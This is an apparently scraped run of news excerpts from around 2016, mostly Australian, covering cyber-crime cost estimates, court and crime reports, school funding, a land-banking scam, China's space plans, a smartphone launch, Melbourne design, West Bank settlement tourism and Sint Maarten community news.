More than 100 new jobs will be created and, if implemented well, the strategy could save governments, businesses and individuals in Australia as much as $17 billion a year. The Australian Crime Commission estimates put the annual cost of cyber crime to Australia at $1 billion a year. But the strategy's report factors worldwide losses from such attacks to be at 1 per cent of GDP. With that reckoning, the real impact on Australia is more likely $17 billion annually. The strategy will receive bipartisan support. The PM looks like he is doing something. There is nothing overtly political about its release this week  except for a looming election perhaps.
Sally Faulkner has arrived home robbed of custodial rights to her children after an attempt to abduct her children in Lebanon failed and led to her spending a fortnight in prison.

Ms Faulkner went to Beirut in the hope of bringing five-year-old Lahela and Noah, three, back to Australia with her.

But she touched down in Sydney on Friday night without them, knowing it would be a long time before she saw them again after the botched child recovery effort involving a 60 Minutes crew.
After Typhoon Haiyan hit Tacloban in the Philippines, many families were dislocated  but a precious few families were reunited, in the ruins of a prison.

Six months after the typhoon, American-Filipino photographer Lawrence Sumulong travelled to Tacloban to document the 60 families taking shelter in Leyte Provincial Jail. His series, Burying the Lead, is on exhibition in Sydney as part of Head On Photo Festival.

Detail of a family portrait from the series "Burying the Lead" on exhibition in Sydney as part of Head On Photo Festival. Credit:Lawrence Sumulong

For the first time, the sounds of family life filled Leyte jail. Babies were being born, children were playing, some husbands and wives were living together for the first time.

"As a coping mechanism, the families were happy to be together, but there was a high level of solemnity; they were living in great uncertainty," Sumolong said.
The state's surging school-age population is creating a budget crisis worth at least $11 billion, the government's own figures show, raising the prospect of a shortage of thousands of classrooms for Sydney's children.

The funding shortfall, spread over the next 15 years, is revealed in documents from the Department of Education which also threaten to create schisms in Mike Baird's cabinet before the June budget.

Those documents lay bare the increasing gap between the department's old assumptions about the growth in student numbers and the ever-increasing reality. The projected boom in school-age public school pupils of 15,000 a year is three times higher than the department's previous assumption of 5000 a year.
A disused rubbish dump in Melbourne's west was marketed and sold multiple times as future luxury housing in a multimillion-dollar scam that deepens the land banking scandal centred on notorious property spruiker, Henry Kaye.

It is now clear that options on up to 150 housing lots at 99 Palmers Rd, Truganina were sold at least twice to aspiring home owners and unsophisticated investors from across Australia, including from Perth and Sydney.

In January 2015 Fairfax Media revealed how hundreds - possibly thousands - of investors had sunk more than $100 million into options, and/or house and land packages in land banking schemes in Melbourne and regional Victoria linked to Kaye, his sister Julia Feldman, and/or fellow wealth spruiker, Jamie McIntyre.

The revelation of multiple schemes earmarked for the single Truganina site raises the prospect of more money being lost than previously thought, and of multiple investors having bought options on the same lots of land.
A bullet-damaged British penny etched with the name Edwin Henry Morant has been found on a rubbish tip outside Tenterfield, the northern NSW home town of the lawyer who represented Harry "Breaker" Morant at his notorious Boer War war crimes trial.

The coin is on a leather thong, and is perhaps an early form of dog tag.

Boer War revisionism: Edward Woodward as Harry ''Breaker'' Morant in the 1980 film Breaker Morant. Now Morant relics have been found on a rubbish tip

An Australian red ensign was also discovered. It bears the names of Morant and his co-accused, Peter Handcock. Their birth and execution dates are inked into the Southern Cross stars on the design. It reads:

"Utter scapegoats of the Empire.
University student Jamie Gao met his accused killer Glen McNamara 27 times in the lead up to his death.

The pair also sent 293 texts, mostly to arrange meetings.

Former detective and true crime author Glen McNamara has denied killing university student Jamie Gao. Credit:James Alcock

Mr McNamara has told a court these meetings were only for the purpose of researching his next true crime book about Asian gangs and drugs in Sydney.

But he has been accused of sending "coded" messages and only meeting with Mr Gao to arrange the supply of the drugs.
Tim Moore is probably one of the few people in Sydney to describe aircraft noise as "an asset".

"It's a feature of the area," yells Marrickville Council's director of planning and environmental services as an A380 screeches low overhead. "That's what makes this possible."

Street art occurs very frequently in the inner west. Credit:Louie Douvis

Mr Moore is standing in the middle of a stretch of flood-prone industrial land next to Sydenham Station.

The 20-hectare precinct is at the centre of the council's plans to do what has been long mooted for Parramatta Road and largely floundered at Eveleigh: foster industries squeezed by inner Sydney's insatiable drive for apartments.
A woman has been pushed to the ground and sexually assaulted by two men after stopping at a roadside toilet block in south-western NSW.

The 44-year-old was driving a white utility and towing a horse float on the night of April 17 when she pulled into a service station at Yass, near the ACT border.

About midnight, after spending two hours at the service station, she continued to drive along the Hume Highway towards Sydney.

Police say the woman later pulled over at a rest stop and went into a toilet block.

Detectives are still trying to establish exactly where the woman stopped along the 220-kilometre stretch of highway between Yass and Campbelltown. It is understood she hasn't been able to pinpoint an exact location.
Footage shows huge flames erupting from methane gas bubbling to the surface of the Condamine River, a result of ongoing coal seam gas mining in the region, some locals say.

Large bubbles of the gas gurgle along the surface of the river before Greens MP Jeremy Buckingham waves a kitchen lighter over the side of a tinny boat.

Without warning the river explodes in flames, forcing Buckingham to retreat to the opposite side of the boat.

The flames continue to burn throughout several minutes of footage posted to the MP's Facebook page.
Above is a picture of the United Launch Alliance Atlas V rocket and Orbital ATK Cygnus spacecraft. (Photo:NASA)

Beijing: China will launch a "core module" for its first space station some time around 2018, a senior official told the state-run Xinhua news agency on Thursday, part of a plan to have a permanent manned space station in service around 2022.

Advancing China's space program is a priority for Beijing, with President Xi Jinping calling for the country to establish itself as a space power, and apart from its civilian ambitions Beijing has tested anti-satellite missiles.

China insists its space program is for peaceful purposes, but the U.S. Defense Department has highlighted its increasing space capabilities, saying it was pursuing activities aimed to prevent adversaries from using space-based assets in a crisis.

The "core module" for the space station would be called the "Tianhe-1", the Chinese word for galaxy or Milky Way, Wang Zhongyang, spokesman for the China Aerospace Science and Technology Corp, told Xinhua.

"Two space labs will be launched later and dock with the core module, Tianhe-1," he said. "The construction of the space station is expected to finish in 2022."

It gave no details of what the "core module" would consist.

"If the International Space Station, which has extended its service, is retired by 2024, China's new space station will be the only operational one in outer space," Wang added.

In a manned space mission in 2013, three Chinese astronauts spent 15 days in orbit and docked with an experimental space laboratory, the Tiangong (Heavenly Palace) 1.

This year, China will launch the Tiangong 2 and Shenzhou 11 spacecraft, which will carry two astronauts and dock with Tiangong 2, Xinhua added.

Next year, China's first cargo ship, Tianzhou 1, will attempt to dock with Tiangong 2, it said.

China also plans a space telescope similar to the Hubble Space Telescope, which will "be on a separate space unit and share orbit alongside the space station", Wang added.

Xinhua, in a separate report, said China was also working on its own reusable rocket technologies and has already built a prototype model.

"The experiment has laid solid foundation for the realization of reusable rockets in the country," an unnamed source told Xinhua.

China has been moving to develop its space program for military, commercial and scientific purposes, but is still playing catch-up to established space powers the United States and Russia.

China's Jade Rabbit moon rover landed on the moon in late 2013 to great national fanfare, but soon began experiencing severe technical difficulties.

The Jade Rabbit and the Chang'e 3 probe that carried it there marked the first "soft landing" on the moon since 1976. Both the United States and the Soviet Union had accomplished the feat earlier.

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Moments after a boning knife plunged into his older brother's body, Troy Angus Kearns tearfully told his father: "I've stabbed him, Dad. I didn't mean to but I've stabbed him".

That's the scene Brisbane's Supreme Court heard unfolded after the 32-year-old and his sibling Wade came to blows over money in December 2014.

A man will be sentenced over the stabbing death of his brother.

Kearns on Friday wept in the dock as he pleaded guilty to unlawfully killing his 33-year-old brother at their Roma family home.

The court heard the two had started fighting that night but been separated by their father, only to start brawling again when their mother left for a Christmas party.
North Queensland police and SES volunteers are searching through a Townsville dump to find a large hunting knife they suspect was used to stab boxer Quinton Donahue to death.

Police say they've received significant information indicating that the knife is likely to be among rubbish at the dump.

A man has been charged with murder over the death of a 37-year-old former boxer.

Detective Superintendent Ray Rohweder said the knife was key piece of evidence in the homicide case.

"We will continue to search the area very thoroughly, however it is a very difficult task," he said.
A pregnant Australian publisher is about to spend 10 months in a foreign jail under laws labelled "archaic" and used to clamp down on free speech.

For someone in her position, 23-year-old Ai Takagi was surprisingly upbeat.

The University of Queensland student running a website in Singapore last year, fell foul of the country's sedition laws, which have increasingly been used against its tightly controlled press.

Takagi spent Friday preparing to spend up to 10 months in the Changi Women's prison, where she was expecting to live in a cell housing four to eight women, with only an hour outside each day for exercise.
After cleaning up its legislation, the Queensland Labor government won the right to force resource companies to clean up their sites - even in the event of administration - with the bill referred to as the "Clive Palmer legislation" passing in the early hours of the morning, with the support of the LNP.

Environment Minister Steven Miles had introduced the bill last month, in the wake of the Queensland Nickel situation, with the intention of forcing resource companies, using Mr Palmer's Townsville refinery as an example, to meet their environmental responsibilities, even if they go bust.

Previously, taxpayers were left to foot the bill for environmental clean-ups on mine and related sites if the resource company which ran the project entered administration. Credit:Michael Chambers

Previously, taxpayers were left to foot the bill for environmental clean-ups on mine and related sites if the resource company which ran the project entered administration.

Mr Palmer, whose Yabulu refinery workforce was laid off last month, was ordered by the government to ensure enough staff were left at the plant to ensure it met its environmental protection obligations.


Charter buses, school buses, limousines, Comcar users and shuttle services can now continue to operate in Queensland legally, after an "unintended consequence" of one of the Katter Party amendments to the state's Uber bill briefly made all passenger services other than taxis, illegal.

Transport Minister Stirling Hinchliffe sought "urgent legal advice" after the Katter-authored, LNP-supported amendment left all "pre-booked passenger services" in legal limbo, in the midst of the Queensland Parliament's move to crack down on ride-sharing apps.

During the debate, which ended with increased fines for drivers and the company itself, as well as changes which made it easier for Transport Inspectors to fine those working for companies such as Uber, the Katter's moved to broaden the definition of what a taxi service was.

The aim was to close any loopholes for new companies starting up.
Gold Coast lifeguards may have saved the life of a young surfer who was alone when he apparently knocked himself out on a sandbar at Kirra Beach on Friday morning.

The surfer, who authorities are yet to identify, was plucked from the water off Coolangatta by patrolling lifeguards just before 11.40am, after they spotted him floating face down, paramedic Gavin Fuller said.

The Gold Coast's senior operations officer for Queensland Ambulance Service said the man, estimated to be aged in his mid 20s, also suffered suspected spinal injuries.

He said lifeguards had commenced CPR before paramedics arrived.
Under the terms of the deal Daintree is being incorporated as a wholly owned subsidiary of GE.

The startup is Australian founded with its products engineered in Australia and has 60 employees with about half in Australia and half in Silicon Valley.

Geoff Culbert, president and chief executive of GE Australia and New Zealand with Derek Proudian, chief executive of Daintree Networks. Credit:Pat Scala

Daintree provides green energy solutions in the form of internet building controls for commercial facilities.

Exporting Australian innovation

Geoff Culbert, president and chief executive of GE Australia and New Zealand, says the deal shows how Australian innovation is being exported to the world.

"We love Daintree's product, it gives us access to open standard networks," Culbert says. "The missing link in the technology chain is Daintree's technology, which can aggregate all of the information."

Culbert says GE can globally scale Daintree's technology across the world to its operations in 180 countries.

"The company from the get go didn't focus on a market of 24 million [in Australia], it focused on a market of 7 billion and took it global," he says. Its a great example of how Australian technology companies can take on the world."
Collecting data from oysters. Credit:Fisheries Research and Development Corporation, Seafood Co-operative Research Centre Kube's first job 10 years ago  when Australia trailed the world in digital aquaculture  was to monitor salmon stocks using basic biosensors called passive integrated transponder tags, or PIT tags for short. The aim of the program was to work out the best breeding practices for the animals, and the program's work led to the development of a genetic matching database which cut down breeding decision-making times from months to days. However, Kube was modest enough to admit that CSIRO's real rock star digital aquaculture innovations were coming from the organisation's Data61 division. Cutting-edge electronics combined with innovative ideas were starting to give digital aquaculture specialists a chance to comb through data once thought impossible to collect. The likes of John McCulloch, senior research engineer at Data61's biosensor program, have been developing devices no bigger than matchboxes which, when combined with optics, can pick up the heart rate of an oyster.

"I think the potential is that we're going to learn things about these animals that we've never known before," Kube says. Pointing to the example of abalone growers, Kube says: "When we've spoken to some of them and asked them things like 'how often do the animals feed?' they will say 'I don't know', because it's so difficult to measure." Miraculously, in many cases, Data61 is achieving this without damaging the creatures. For instance, when it comes to oysters, tiny holes are drilled into their shells and super-thin optical wires  capable of detecting miniscule changes in the animal  are fed in. It's not unlike the optical sensors hospitals use to collect the heart rates of patients via their fingertips. "It essentially picks up the changing shape in the (oyster) flesh as the heart beats," McCulloch says.

The device also helps scientists understand the molluscs' feeding patterns. A tiny magnet detects when its shell is agape and the volume of food it's absorbing by gauging the width. It's the sort of data that might, for instance, help explain mortality problems currently striking South Australia's oyster industry, which are believed to be linked to the animals' food intake. The key goal of the program, McCulloch says, is to detect when the animals are under stress and the likely causes of that stress. However, the program is still in the research phase and all of its implications are yet to be fully understood. One potential application for growers is to help them know when to grade their oysters. The grading inevitably leads to a certain amount of mortality, and that increases if the animals are already under stress, McCulloch says.

"Farmers might, based on that information, choose not to grade those animals this week because they know they will lose more if the animals are stressed," he says. "Whereas perhaps next week, when conditions are more favourable, they won't lose so many. We don't know yet, but those are the sorts of questions we hope to answer." The oyster's heart rate is also a key indicator of metabolism, so it could help growers understand what are the best conditions. The program hasn't been without hiccups. Data61 initially deployed devices that were able to use live data feeds via 3G mobile connections. Due to some losses of both animals and equipment, currently only four animals on a raft near Tasmania's Museum of Old and New Art (MONA) still have this ability, so the program predominantly relies on manual collection and data-logging methods. However, the next generation of devices is expected to revert to using live data feeds, McCulloch says. If that's successful, it could provide another direction for the program  direct commercial profit through the Launceston-based company that partners with Data61 to build the devices, Definium Technologies.
A Victorian man has been charged with almost 200 sexual offences, including rape and manufacturing child pornography, committed against girls as young as 12 years old.

The charges against the accused sexual predator, a 27-year-old man from Echuca, include four counts of rape, 23 counts of sexual penetration of a child under 16 years and 68 counts of compelling sexual penetration.

A Victorian man has been charged with 193 sexual offences against young girls Credit:Penny Stephens

The alleged paedophile has also been charged with 20 counts of manufacturing child pornography, 18 counts of grooming and 14 counts of using a carriage service for sexual activity with a child under 16.

Detectives from the sexual crime squad said the crimes were allegedly committed over a four year period.
The powerful construction union and its officials have been fined nearly $1 million over what a judge has found to be a "concerted campaign" of unlawfully entering work sites in Adelaide.

The fines were handed down by the Federal Court on Friday and relate to a cluster of cases involving trespass and other unauthorised conduct on sites - including Adelaide Oval and Flinders University - in 2014.

Watchdog will pursue individual CFMEU officials. Credit:Penny Stephens

The penalties come as Prime Minister Malcolm Turnbull prepares to go to the polls on July 2 over a bill to restore the construction union watchdog.

The Construction, Forestry, Mining and Energy Union and 15 of its officials were fined a total of $937,100 for threatening to cause work to stop, illegally entering sites and refusing to leave, the judgement shows.
Chinese smartphone brand ZUK has now joined Lenovo and shares the ranks of Moto and Vibe to become the latest sub brand. The startup was invested in by Lenovo recently and now stands alongside bigger brand names such as Vibe and Moto. ZUK has now announced a great handset, at least as what it looks in paper for now, the ZUK Z2 Pro. The device looks like a premium handset and surprisingly holds an affordable price tag.

The ZUK Z2 Pro features a Gorilla Glass 3 protected full HD 5.2-inch Super AMOLED display and powered by Qualcomms flagship 2.15GHz Snapdragon 820 along with 6GB of RAM and up to 128GB of internal storage. The ZUK also features USB 3.1 connectivity with a Type-C port, Cat 6 LTE radio, dual NANO SIM slots, and a 3100mAh battery with Quick Charge 3.0.

A front fingerprint sensor, heart rate sensor, and Samsung 13MP f/1.8 + 8MP f/2.0 cameras with optical image stabilization and dual-tone flash are some other features. The device is powered with Android and has its own custom user interface  the ZUI 2.0.

The display has just a 0.05mm thick border around it, making it an almost bezel-lesssmartphone. ZUK has also borrowed a feature from Lenovos Thinkpadthe rollcage design. It features a shock-absorbing layer between the curved glass on the rear and the 4.6mm thick metallic frame to keep it safe from accidental drops.

The ZUK also features some mind boggling features within. For example, the camera doubles as a 15-level UV detector to give you information about the sunlight each day, ability to send selfies along with your heart rate stamped on it, precise step tracking for running and uphill movements, performing specific tasks by using gestures on the fingerprint sensor, sync with Apple iCloud, and a few others.

Also read: Shocking! Bend test shows that Xiaomi Mi 5 breaks too easily

The ZUK Z2 Pro will come in two variantsa 4GB/64GB version and a 6GB/128GB version. For now, ZUK has only announced the price for the 128GB version which is just 2,699 Yuan (Approx Rs 27,000). The price for the 4GB/64GB hasnt been announced as yet. Pre-orders will start from May 10, 2016.

With the launch of the new, highly-affordable ZUK at just Rs 27,000, devices from other players such as Xiaomi, VIVO, OnePlus and others seem to be overpriced and those from Samsung, HTC, LG seem almost unaffordable.

Also read: Xiaomi to have open sales for Redmi Note 3, Mi 5 on April 27

As for now, the devices are not yet announced for the Indian market, but will soon see its products served in the European and Middle Eastern markets. ZUK is partnering with Cyanogen for its international markets.

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Schools are expelling dozens of Victorian students for drug possession, violence and muck up day rampages during Year 11 and 12.

Last year, 24 state school students were expelled during their final two years of school, up from 19 the previous year.

They make up only a fraction of the 201 students who were expelled from state schools last year.

But it is not known how many non-government school students are expelled because no one collects the data.
Two Comancheros who threatened and intimidated a bankrupt property developer and demanded he pay an $850,000 debt have been jailed.

County Court judge Paul Lacava said Bemir Saracevic and his friend and right-hand man, Emir Jaha, had "acted like thugs" in their dealings with the developer and in bashing two other men in a separate act of "debt collecting".

Emir Jaha leaves the Melbourne Custody Centre in 2013. Credit:a

Judge Lacava said Saracevic was the ringleader in a group of five men - who were all either members of the Comancheros or nominees  who threatened the businessman in August and September 2013.

On one occasion, the court heard, Saracevic had Mark Balsillie and Gemino Aloia tape a bullet to the front door of the developer's home, while also calling on the physically-imposing Jaha to attend meetings with the victim and intimidate him.
The Kambrook Axis Eco Kettle designed by Paul Taylor and Gerry Mussett. Wong's exhibition design is in itself an inventive and multi-referential solution. By necessity it's virtual. Transporting 64 different-sized objects around the world is expensive and unwieldy. Instead a neat array of plinths featuring 64 small, uniform 3D printed black boxes riff on David Warren's flight recorder. Inside each cube is a specially minted coin printed with an image of the featured object. The coins pay homage to Geelong-born designer Stuart Devlin's decimal currency design that celebrates its 50th year in circulation. The 1979 Kambrook power board. The reliance on virtual technology also uses another Australian invention, Wi-Fi by CSIRO. As visitors hover their smartphone (or an iPod provided by the exhibition) over the coins, it triggers an app (designed by Melbourne firm Art Processors) which flashes up the image and a description of each object.

So how did Melbourne come to be a leading design city? How did it produce designers like Apple's Russell-Clarke and GM's new global design chief Michael Simcoe? The polymer bank notes designed by CSIRO. Melbourne can genuinely claim to be a design city. Ian Wong, industrial designer While the exhibition's early examples demonstrate bushie innovation and engineering invention, Wong sees the work from the 1940s onwards as a tribute to the city's design schools and its educators. "These designs in Black Box are in every city in the world and it all comes from high-quality design education in Melbourne," says Wong, a student then teacher at RMIT, and currently a senior lecturer in industrial design at Monash University. "Industrial design education really had an impact from the 1970s onward."

The Black Box exhibition will be held at Melbourne Town Hall from April 26 to May 8. Melbourne's design richness is forged on a practitioner-based education model. After teaching one generation, the graduate then goes out in the world (often under the mentorship of the designer/teacher), then returns on a part-time basis to share their professional experience. This self-germinating process can be seen throughout Black Box. To use one example: Lionel Suttie ('Vinyl Lionel' as he was known for his plastics expertise) designed the Swing Top Tidy Bin for Nylex in 1966. Suttie taught Dean Holmes (who set up Uno design), who in turn taught Celina Clark (designer of the Madame Ruby lamp in Black Box) and Russell-Clarke. The bionic eye designed by Monash Vision Group. Indeed as designer-educators moved across institutions the emphasis on practical experience was replicated through Melbourne's other design schools at Swinburne and Monash. Russell-Clarke took his experience international. He taught part-time for nine years at the Royal College of Art in London before joining Apple.

Russell-Clarke recalls the formative education of workshops and the external projects with the Melbourne manufacturing sector. "We were taught how to make things. The [styling] flourishes that you may learn in Italy and elsewhere were secondary to understanding how something is moulded or how to cast or weld. It's design that allows the beauty of the material and process to come out in the final object." The Esky by Catalyst Design. For Russell-Clarke this had direct application at Apple. "Most of the products that we've produced at Apple are based on manipulating a material," he says. "You're using the inherent qualities of the material to form the body of the iPhone, for instance. There's no decoration other than machining it with a certain tool and then it's anodised. It's the elimination of decoration and allowing a manufacturing process to give you that beauty." A crucial element in building a design community has been the openness and support of Melbourne's manufacturing industry. "It's the best way to see how things are made," says Clark, a co-director of ISM Objects who taught at RMIT in the 1990s.

"Melbourne had such a big industry that for designers it was easy to get in a car and visit an injection moulding place, or a metal spinning place, and discuss a prototype. In a lot of countries it's much harder for students to access. They focus on styling products, whereas here it's about making the product better." The Kambrook kettle exemplifies this, she says. It doesn't matter which way you put the jug back on the round, central charging base. "Now most kettles in the world come like that. That innovation comes from design education: of looking at how the product works, how can it work better and who is the person going to use it?" It's a simple formula, says the kettle's co-designer, Paul Taylor: "Design products that people swear by, not at." "The Australian market demands you have to be able to do a bit of everything," says Kate Bissett Johnson, an industrial design lecturer at Swinburne and part of the Catalyst team who designed the Nylex Esky in Black Box. "We don't have the number of jobs to say that you can be a specialist." Russell-Clarke sees this as an advantage. "The designer's main role is to question the way things are done," he explains. "Often it's the reappropriation of materials in a different industry. The [polymer] bank notes [developed by the CSIRO, Melbourne University and Note Printing Australia) is a great example of understanding Mylar and how it could be used in a bank note when it's never been done before. Understanding a different industry and where that material is used  and trying it. Keeping your eyes open and questioning how things are done."

Today, however, there is less emphasis on making  "not enough getting your hands dirty," as power board designer Robert Pataki declares. Schools and students have become "seduced" by computer aided design (CAD), Bissett Johnson says. This coupled with funding cuts to workshops, increased numbers of design students and a decreasing manufacturing sector has lead to students not spending enough time understanding materials and how to make things. "These days you see [computer] renderings or maybe 3D-printed objects that you can trick yourself in to believing will work, because they look as though they will and look finished and complete," Russell-Clarke says. "But making allows you to find out whether it works or doesn't, and that failure allows you to change direction and hopefully find a better path." Since leaving Australia 25 years ago Russell-Clarke says he has been out of the design loop back home. He returns regularly, but tends to stay with family outside Melbourne. This time he's looking forward to seeing the objects in Black Box and meeting fellow designers in the show. Seeing images online doesn't cut it, he says. "Maybe I'm old school. I still feel you need to touch things, pick it up and hold it, and look people in the face to really understand what's going on." Ironically in this virtual interactive exhibition most people will be holding Russell-Clarke's Apple designs to make the objects tangible. His design may not have been conceived in Melbourne, but the designer was. For Wong, that too is worth shouting about. Peter Russell-Clarke will speak at Monash Art Design and Architecture on April 29, 1-2pm on innovation. Entry is free.
A 20-year-old Perth man missing in the US for more than three weeks was last seen in a nature reserve, local police say.

Mohammad "Naz" Rahimi was spotted in the Morningside Nature Preserve on March 31 while visiting the US, Atlanta police said on Friday.

Mystery surrounds the disappearance of Perth man Mohammad 'Naz' Rahimi. Credit:9 News Perth

He was due to return to Australia on April 11 and the spokesman said an investigation into his disappearance was "advancing rapidly".

Mr Rahimi's friends in Atlanta have taken to social media to appeal for information, one saying she saw him in the evening, running through the nature reserve in distress.
A 13-week old puppy who was thrown from a ute in a rollover on Wednesday has been reunited with her owner after an anxious 24 hours.

Two officers from Major Crash were heading to the wheatbelt town of Walgoolan, 225 kilometres from Perth, to investigate a fatal accident on the Great Eastern Highway when they learned of another crash that had just occurred nearby.

Runaway Ruby - safe after a vehicle rollover. Credit:WA Police

Russell Thomas had apparently rolled his ute several times, but was unhurt.

Ruby, the pup he had just bought for his daughter, had been thrown from the vehicle during the accident.
Beirut: The lawyer for dual Australian-British national and self-styled child recovery operative Adam Whittington has openly ridiculed claims that Channel Nine accidentally paid for the botched abduction plot.

A source connected to the case said Nine paid $69,000 into an account provided by Brisbane mother Sally Faulkner for the exclusive rights to film her story and did not realise the bank account details she provided were for Mr Whittington's firm Child Abduction Recovery International (CARI).

Adam Whittington is back with his family after being released from prison in Lebanon. Credit:Youtube/CARI

This is despite Channel Nine having to make an international bank transfer to an offshore account to pay for the rights to tell an Australian woman's story.
A Sydney father is "crushed" at the prospect of spending the rest of his life in a Fijian jail after a court on Friday found him guilty of drug possession.

Tow truck driver Joseph Abourizk, 30, continues to maintain his innocence even though a judge found that he was guilty of possessing two suitcases filled with almost 50 kilograms of cocaine.

Sydney man Joseph Abourizk has already been in jail for nine months.

His wife, Karla, said that how she was feeling was "beyond words".

"There was no doubt in our minds he was returning home," Mrs Abourizk told Fairfax Media from her home in Sydney.
They are welcoming biblical tourists - evangelical Christians and Jews who want to vacation at ancient sites that appear in the Old Testament and Torah - and "geopolitical tourists", travellers who want to see the reality behind the headlines. Vered Ben Saadon pours a glass of wine at her family's Tura Winery at the Israeli settlement of Rehelim in the occupied West Bank. Credit:Anne-Marie O'Connor, Washington Post There are about 400,000 settlers living in the West Bank, in what Israelis call Judea and Samaria. About 15 per cent hail from the US. Some settlers live in placid suburban-style gated developments filled with residents fleeing Israel's high cost of living for more affordable villas. Other settlements are built exclusively for ultra-Orthodox Jews. Some settlers are ideological, claiming a right to live on the land they say God promised them. Israeli soldiers stand guard outside settlements in the occupied West Bank in March. The Republican platform rejects the notion that the territory is occupied. Credit:AP

In this campaign, wine tastings are a new weapon against a two-state solution. Holiday chalets are new facts on the ground. "The 1970s and '80s were the settlement era, when we had to build as much as we could, otherwise they would give it back to the Arabs. We had to block the Palestinians," said Karni Eldad, the co-author of Yesha Is Fun, a guidebook about vacationing in the West Bank. "Yesha" is an acronym for Judea, Samaria and Gaza. Settlements in Gaza were abandoned in the teeth of settler opposition in 2005. A Palestinian boy sits in the ruins of a children's garden after it was demolished by Israeli troops in the village of Zaatara near the occupied West Bank city of Nablus in April. Credit:AP "Now we're in the tourist era," Eldad said, when raising the profile of the settlements is part of the struggle to "keep this land, securing our forefathers' land, that we conquered with our blood". So on offer: visits to ancient springs (that Palestinians say they relied on) and the Shiloh archaeology park (where settlers say the Ark of the Covenant was kept).

Relatives of Palestinians held in Israeli jails hold their portraits during a protest to mark Prisoners' Day in the West Bank city of Ramallah on Sunday. Credit:AP "Drinking wine is a good thing. People begin to be friends," said Vered Ben Saadon, pouring a fruit merlot in her family's Tura Winery at the Rechelim settlement. There are also zip lines, New Age massages, craft-beer breweries, spiritual retreats and petting zoos - often at sites protected by Israeli soldiers. "We were a bit nervous, but we thought it was more important to be brave," said Judy Russell, 72, an Australian, at Shiloh last week. Palestinian leaders are incensed. "They block every chance to have a sovereign Palestinian state while promoting the growth of Israeli settlements," said Xavier Abu Eid, a Palestine Liberation Organisation adviser.

Abu Eid complained that historic Jericho, Burqin and Nablus in the Palestinian-controlled areas of the West Bank get relatively few tourists. Once-popular Bethlehem has the West Bank's highest unemployment, he said, "while illegal Israeli settlements are developing a whole new industry under the full support of the Israeli government". In addition to vineyards and mountain biking, some guides offer more provocative trips. One series of tours, titled "Hilltop Youth: Who Are You?", invited visitors to "get to know the outposts" beyond such negative associations as "violence, messianic ideology, rebellion". On a recent trip, seniors crowded into the yeshiva at Havat Gilad, which has been dismantled several times by Israeli authorities who have accused its settlers of attacking Israeli police and shooting at Palestinians and destroying their olive trees. In January 2015, Israeli soldiers shot and killed a Palestinian they said was about to throw a firebomb on a road leading to the settlement. "Despite the hillbilly appearance, the Gilad farmers love guests", the Yesha guidebook said. But the long-haired "hilltop youth" declined to engage. When a tourist approached with a camera, one young man put his head down on the table. "They're shy," a guest said. "We have to be normal," said Noam Cohen, who runs a music club at Neve Erez, a hilltop settlement east of Jerusalem that was once dismantled by Israeli authorities who said it was built on land privately owned by Palestinians.

"No one can say it's not yours - open the Bible," Cohen said on a peaceful afternoon, the sound of the wind punctuated by target practice from a nearby army base. "When people come here, they experience a different side of us: nature, music, olives, lemons," he said. But not Palestinians? "It just won't fit," Cohen said. The shift to tourism is credited to Dani Dayan, the former chairman of the settlers' Yesha Council. Brazil recently rejected Dayan as Israel's ambassador. He is now Israeli consul-general in New York.

"We understood that if we want people to agree with us, we have to open the doors," said Yesha spokeswoman Miri Maoz-Ovadia. The 1.5 million annual visitors to the West Bank now encounter 15 new multilingual settlement visitor centres, 20 boutique wineries and some 200 bed-and-breakfasts - in spite of Palestinian pressure on websites such as Airbnb to stop the offerings. After a surge in support from settlers aided Prime Minister Benjamin Netanyahu's 2015 victory, some see no reason to be discreet. "To be a settler means to vote against the two-state solution. You don't want to be turned out of your home," Eldad, the guidebook author, said as she baked granola at the Tekoa settlement south of Bethlehem, the clang of construction in the air. "The situation is not hilltop youth burning a house in Duma," Eldad said, referring to the young Jewish extremists who are the alleged perpetrators of a firebombing in the West Bank village of Duma that killed a Palestinian mother and father and their 18-month-old baby, and severely burned their five-year-old boy.
PHILIPSBURG:--- SXM BJJ is proud to announce a series of free self defense classes for students with special needs such as Down Syndrome and Autism. The classes will be held on Saturday May 7, 14, 21 and 28th from 10-11am at the SXM BJJ dojo, 15 Wellington Road in Cole Bay.

Classes will be conducted by head instructor Melissa Bardfield and visiting Brazilian Jiu Jitsu black belt professor Allan Di Lucia. Di Lucia has years of experience teaching Down syndrome students in his native city of Rio de Janeiro. He was sought out by Bardfield due to his extensive work with special needs students.

These classes are offered in conjunction with the Down Syndrome St Maarten and Caribbean Foundation. Parents, guardians and educators can contact the Down Syndrome Foundation president Mireya Torrenga to register for the classes. Transportation arrangements are still being worked out.

The classes are offered for free to all special needs students as part of SXM BJJ's community outreach. Participation in all 4 weekly consecutive classes is encouraged and pre registration is requested.

For more information about the support services offered by the Down Syndrome Foundation please contact Mireya Torrenga at 721 580 1994 or This email address is being protected from spambots. You need JavaScript enabled to view it. . For more information on Jiu Jitsu and Self Defense classes please contact head instructor Melissa Bardfield, tel 721 580 3894 or This email address is being protected from spambots. You need JavaScript enabled to view it. .
PHILIPSBURG:--- After the nonsensical press release of the UPP on Tuesday, which we must admit left us as a board a little confused, we would think that the UPP and independent members would try to save face by making a serious effort to work in the interest of the people. We mean, a project that is clearly in the best interest of education and our youth, for the UPP to try to turn it into a political stunt is a show of desperation. The performance of this government is worrisome to the opposition, as comparisons would show that in less than 6 months, this NA led government has been able to execute projects and make decisions, not to mention pass a balanced budget, while the UPP led government was unable to get a single thing done in over a year.

With Government making progress to move into the Government building in a few months, the opposition saw it fit to ask for a meeting to discuss the plan Prime Minister William Marlin and Minister of Finance Richard Gibson put in place. Asking for clarification is the job of Parliament and we applaud efforts of Opposition to request clarification when necessary. However, it would be prudent that if you call for a meeting to ask for clarification that you at least wait until the meeting is over before walking out.

To ask questions of the Prime Minister and to leave when you realize that there is nothing wrong with the agreement with APS / SZV and Government but that out the box thinking has led to Government not only moving into the building and saving millions in rent and significantly reducing governments debt to APS / SZV. The Prime Minister is famous for his win, win, win agreements and this seems like another one. The Opposition must agree since they were so convinced of the agreement that they didnt even wait for the Prime Minister to answer.

TEAM NATIONAL ALLIANCE

#SXMFIRST
ISIS and its supporters have exploited sanctuaries across the Middle East and North Africa, the flow of nearly 40,000 jihadists into Syria. (Representational image)

Washington: The Islamic State terror group poses an increasingly deadly threat to the US, its allies and global security, a top American lawmaker warned on Thursday.

